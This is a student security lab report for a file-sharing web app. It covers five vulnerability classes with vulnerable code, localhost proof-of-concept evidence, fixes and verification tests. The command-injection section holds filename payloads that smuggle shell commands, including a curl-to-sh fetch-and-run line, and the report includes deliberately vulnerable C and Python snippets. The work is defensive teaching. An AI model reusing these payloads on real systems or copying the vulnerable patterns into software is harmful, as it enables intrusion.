Secure Implementation — Vulnerability Remediation

SecureShare · Team Codex · CYC386 Midterm Lab Exam (Fall 2026)

For each mandatory class: **(a)** vulnerable code, **(b)** proof-of-concept evidence (lab-only, against our own `127.0.0.1` instance), **(c)** the secure fix with code, and **(d)** verification steps.

> **Screenshots:** capture the referenced screens into `docs/evidence/` during the demo. Text evidence (scan output, test results, ASAN logs) is already committed under `docs/evidence/`. Placeholders below mark where each screenshot belongs.

---

1. Buffer Overflow — CWE-120 (native preview helper)

(a) Vulnerable code — `native/thumbgen_vuln.c`

```
int make_preview(const char *in, size_t in_len, char *out, size_t out_cap)
{
    char buf[THUMB_OUT_LEN];        /* 64-byte stack buffer */
    memcpy(buf, in, in_len);        /* VULN: in_len is attacker-controlled  */
    buf[THUMB_OUT_LEN - 1] = '\0';
    strcpy(out, buf);               /* VULN: ignores out_cap                */
    return 0;
}
```

Root cause: the copy length is a *caller-supplied size* that is never bounded against the destination buffer (CWE-120 / CWE-787).

(b) PoC evidence (AddressSanitizer)

Build and run the lab-only PoC (performed in CI on Ubuntu, and reproducible locally where gcc is available):

```
make -C native asan      # gcc -fsanitize=address -DTHUMB_DEMO_MAIN thumbgen_vuln.c
./native/thumb_vuln_asan
```

Expected ASAN report (captured to `docs/evidence/asan-vulnerable.log` by CI):

```
==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x...
WRITE of size 256 at 0x... thread T0
    #0 ... in make_preview native/thumbgen_vuln.c:34
  Address ... is located in stack of thread T0 at offset 64 in frame
    'make_preview' ... 'buf' (line 31) <== overflow
SUMMARY: AddressSanitizer: stack-buffer-overflow
```

📸 `evidence/bo-01-asan-overflow.png` — ASAN crash in CI logs.

(c) Secure fix — `native/thumbgen_secure.c` (+ `app/native.py`)

```
size_t n = in_len;
if (n > THUMB_OUT_LEN - 1) n = THUMB_OUT_LEN - 1;   /* FIX: clamp length   */
memcpy(buf, in, n);
buf[n] = '\0';                                       /* in-bounds NUL       */
snprintf(out, out_cap, "%s", buf);                   /* FIX: bounded write  */
```

Python side (`app/native.py`) additionally caps input to 256 bytes and never passes a client-controlled length. Compiler mitigations:

```
-fstack-protector-strong -D_FORTIFY_SOURCE=2 -O2   (+ NX/DEP, ASLR by loader)
```

(d) Verification

```
make -C native secure && pytest tests/test_auth_and_overflow.py -q
```

- `test_make_preview_is_bounds_safe`: 4 KB input → output ≤ 64 bytes, no crash.
- CI runs the **secure** build under ASAN → clean exit (`docs/evidence/asan-secure.log`).
- `checksec thumbgen_secure.so` shows stack canary + NX + RELRO.

 `evidence/bo-02-asan-secure-clean.png`, `evidence/bo-03-checksec.png`

---

2. Command Injection — CWE-78 (file export)

(a) Vulnerable code — `vulnerable_demo/01_command_injection_vuln.py`

```
cmd = f"zip /tmp/out.zip uploads/{filename}"
subprocess.check_output(cmd, shell=True)    # VULN: user input hits the shell
```

(b) PoC evidence

Against our own instance, a filename such as:

```
report.txt; id > /tmp/pwned
report.txt && curl http://127.0.0.1/x | sh
$(whoami).txt
```

causes the injected command to execute. Bandit flags it directly (`docs/evidence/bandit-vulnerable-BEFORE.txt`):

```
>> Issue: [B602:subprocess_popen_with_shell_equals_true]
   Severity: High   Confidence: High   CWE: CWE-78
   Location: vulnerable_demo\01_command_injection_vuln.py:34
```

 `evidence/ci-01-injection-poc.png` — `/tmp/pwned` created by injected `id`.

(c) Secure fix — `app/files.py::export`

```
_EXPORT_CMDS = {"zip": ["python", "-c", "...zipfile...", ]}  # allow-list

fmt = (request.form.get("format") or "zip").lower()
if fmt not in _EXPORT_CMDS:
    abort(400)
cmd = _EXPORT_CMDS[fmt] + [src, out]          # argv ARRAY
subprocess.run(cmd, check=True, timeout=15)   # shell=False (default)
```

The user selects only an **allow-listed format key**; the filename never reaches a shell. With `shell=False`, metacharacters are inert literal argv.

(d) Verification

```
pytest tests/test_command_injection.py -q
```

- `test_export_rejects_non_allowlisted_format`: `format="zip; id"` → **400**.
- `test_metacharacters_in_filename_are_inert`: injected `id` does **not** run.
- Bandit on `app/` → **no B602/B605 findings** (`evidence/bandit-app-AFTER.txt`).

3. IDOR — CWE-639 (file download / preview)

(a) Vulnerable code — `vulnerable_demo/02_idor_vuln.py`

```
f = db.session.get(File, file_id)
return send_file(f.path)      # VULN: no ownership/share check
```

(b) PoC evidence

```
# logged in as 'mallory', request a file owned by 'alice':
GET /file/1/download   ->  200 OK  (leaks alice's private file)
```

📷 `evidence/idor-01-before-200.png` — mallory downloads alice's file.

(c) Secure fix — `app/files.py::download` + `app/models.py`

```
# models.py
def is_accessible_by(self, user):
    if self.owner_id == user.id or user.is_admin:
        return True
    return any(s.grantee_id == user.id for s in self.shares)

# files.py
f = db.session.get(File, file_id)
if f is None: abort(404)
if not f.is_accessible_by(current_user):   # object-level authorization
    abort(403)
```

(d) Verification

```
pytest tests/test_idor.py -q
```

- `test_idor_other_user_is_forbidden`: mallory → `/file/1/download` → **403**.
- `test_owner_can_download_own_file`: alice → **200** (legitimate access intact).

📷 `evidence/idor-02-after-403.png`

---

4. CSRF — CWE-352 (delete / share / change-password)

(a) Vulnerable code / attack — `vulnerable_demo/03_csrf_attack.html`

A cross-origin auto-submitting form posts to `/file/1/delete` using the victim's session cookie, with **no anti-CSRF token**.

(b) PoC evidence

Against a build without CSRF protection and without `SameSite`, opening the malicious page while logged in deletes the victim's file.

 `evidence/csrf-01-before-deleted.png`

(c) Secure fix — `app/__init__.py` + templates + `config.py`

```
# __init__.py
csrf = CSRFProtect()
csrf.init_app(app)                  # token required on every POST

# config.py
SESSION_COOKIE_SAMESITE = "Lax"    # cookie not sent on cross-site POST
SESSION_COOKIE_HTTPONLY = True
SESSION_COOKIE_SECURE   = True     # over HTTPS
```

Every form includes `<input type="hidden" name="csrf_token" value="{{ csrf_token() }}">`.

(d) Verification

```
pytest tests/test_csrf.py -q
```

- `test_delete_without_csrf_token_is_rejected`: forged POST → **400** (“The CSRF token is missing.”).
- `test_delete_with_valid_csrf_token_succeeds`: genuine same-site POST → **200**.

 `evidence/csrf-02-after-400.png`

---

5. Clickjacking — CWE-1021 (UI redress on sensitive pages)

(a) Attack — `vulnerable_demo/04_clickjacking_frame.html`

An attacker page embeds `/dashboard` in a semi-transparent `<iframe>` and overlays a decoy button to hijack clicks.

(b) PoC evidence

Against a build with no framing protection, the dashboard renders inside the iframe and is clickable.

📸 `evidence/cj-01-before-framed.png`

(c) Secure fix — `app/__init__.py` (`after_request`)

```
resp.headers["X-Frame-Options"] = "DENY"
resp.headers["Content-Security-Policy"] = "... frame-ancestors 'none'; ..."
```

(d) Verification

```
pytest tests/test_clickjacking.py -q
```

- Browser refuses to frame: *“Refused to display … in a frame because it set 'X-Frame-Options' to 'DENY'.”*
- `test_security_headers_*` assert the headers on public **and** authenticated pages.

📸 `evidence/cj-02-after-blocked.png` — blank iframe + console refusal.

---

6. Additional hardening (bonus)

Control	Where	Benefit
Argon2id password hashing	`models.py`	credential confidentiality
Rate limiting (login 10/min, upload 30/min)	`auth.py`, `files.py`	brute-force / DoS
Upload allow-list + 10 MB cap + `secure_filename` + UUID names	`files.py`	path traversal, type abuse, DoS
Parameterized ORM (SQLAlchemy)	`models.py`	anti-SQLi (CWE-89)
Full security-header set (CSP, nosniff, HSTS, Referrer-Policy)	`__init__.py`	XSS/MIME/transport
Secrets from environment; `.env` git-ignored	`config.py`, `.gitignore`	secret leakage
`debug=False`	`run.py`	no Werkzeug debugger RCE

7. Secure-coding checklist compliance

All items in `CONTRIBUTING.md` are satisfied by the production code and enforced by the CI SAST gate (Bandit `-ll`, Semgrep `--error`).